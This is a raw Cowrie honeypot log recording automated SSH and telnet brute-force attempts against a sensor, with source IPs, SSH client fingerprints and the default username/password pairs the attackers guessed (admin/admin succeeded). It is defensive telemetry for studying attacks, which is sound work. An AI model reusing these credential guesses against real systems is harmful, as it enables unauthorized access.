{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:35.215532Z","src_ip":"125.20.210.182","session":"41e1a7e88597","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:35.274695Z","src_ip":"125.20.210.182","session":"41e1a7e88597","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34378,"dst_ip":"159.203.135.109","dst_port":22,"session":"75f7bc8d8993","protocol":"ssh","message":"New connection: 192.109.200.237:34378 (159.203.135.109:22) [session: 75f7bc8d8993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:35.792976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:35.797580Z","src_ip":"192.109.200.237","session":"75f7bc8d8993","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:35.880206Z","src_ip":"192.109.200.237","session":"75f7bc8d8993","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:36.210670Z","src_ip":"192.109.200.237","session":"75f7bc8d8993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:37.295712Z","src_ip":"192.109.200.237","session":"75f7bc8d8993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.00058555603027,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:39.151906Z","src_ip":"152.42.224.71","session":"31e427ec3aa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34388,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a252a1dbe09","protocol":"ssh","message":"New connection: 192.109.200.237:34388 (159.203.135.109:22) [session: 6a252a1dbe09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:39.404665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:39.409570Z","src_ip":"192.109.200.237","session":"6a252a1dbe09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:39.495716Z","src_ip":"192.109.200.237","session":"6a252a1dbe09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:39.740497Z","src_ip":"192.109.200.237","session":"6a252a1dbe09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59744,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc787ab94619","protocol":"telnet","message":"New connection: 152.42.224.71:59744 (10.17.0.5:23) [session: dc787ab94619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:40.303753Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:40.824974Z","src_ip":"192.109.200.237","session":"6a252a1dbe09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53830,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6a4e0a7e5b1","protocol":"ssh","message":"New connection: 192.109.200.237:53830 (159.203.135.109:22) [session: e6a4e0a7e5b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:42.636128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:42.641737Z","src_ip":"192.109.200.237","session":"e6a4e0a7e5b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:42.724131Z","src_ip":"192.109.200.237","session":"e6a4e0a7e5b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:42.970704Z","src_ip":"192.109.200.237","session":"e6a4e0a7e5b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:44.057279Z","src_ip":"192.109.200.237","session":"e6a4e0a7e5b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53838,"dst_ip":"159.203.135.109","dst_port":22,"session":"03634605c42a","protocol":"ssh","message":"New connection: 192.109.200.237:53838 (159.203.135.109:22) [session: 03634605c42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:46.085181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:46.094388Z","src_ip":"192.109.200.237","session":"03634605c42a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:46.176925Z","src_ip":"192.109.200.237","session":"03634605c42a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:46.422791Z","src_ip":"192.109.200.237","session":"03634605c42a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:47.508543Z","src_ip":"192.109.200.237","session":"03634605c42a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.929057121276855,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:49.234130Z","src_ip":"152.42.224.71","session":"626ff4ed4729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53850,"dst_ip":"159.203.135.109","dst_port":22,"session":"c560a1d0da7c","protocol":"ssh","message":"New connection: 192.109.200.237:53850 (159.203.135.109:22) [session: c560a1d0da7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:49.647228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:49.651504Z","src_ip":"192.109.200.237","session":"c560a1d0da7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:49.734498Z","src_ip":"192.109.200.237","session":"c560a1d0da7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:49.984873Z","src_ip":"192.109.200.237","session":"c560a1d0da7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":57970,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad8616aa6326","protocol":"ssh","message":"New connection: 192.169.243.246:57970 (10.17.0.5:22) [session: ad8616aa6326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:50.802213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:50.810464Z","src_ip":"192.169.243.246","session":"ad8616aa6326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:50.886529Z","src_ip":"192.169.243.246","session":"ad8616aa6326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:51.070280Z","src_ip":"192.109.200.237","session":"c560a1d0da7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test_user","password":"12345","message":"login attempt [test_user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:51.221595Z","src_ip":"192.169.243.246","session":"ad8616aa6326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:52.300467Z","src_ip":"192.169.243.246","session":"ad8616aa6326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.09530854225159,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:52.911580Z","src_ip":"152.42.224.71","session":"a6f7ca3003b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58402,"dst_ip":"159.203.135.109","dst_port":22,"session":"eef459edaafe","protocol":"ssh","message":"New connection: 192.109.200.237:58402 (159.203.135.109:22) [session: eef459edaafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:53.053199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:53.057804Z","src_ip":"192.109.200.237","session":"eef459edaafe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:53.139781Z","src_ip":"192.109.200.237","session":"eef459edaafe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:53.386032Z","src_ip":"192.109.200.237","session":"eef459edaafe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:54.472586Z","src_ip":"192.109.200.237","session":"eef459edaafe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58404,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4099c86e9e4","protocol":"ssh","message":"New connection: 192.109.200.237:58404 (159.203.135.109:22) [session: a4099c86e9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:56.404756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:56.413964Z","src_ip":"192.109.200.237","session":"a4099c86e9e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:56.496470Z","src_ip":"192.109.200.237","session":"a4099c86e9e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:56.915944Z","src_ip":"192.109.200.237","session":"a4099c86e9e4","protocol":"ssh"}
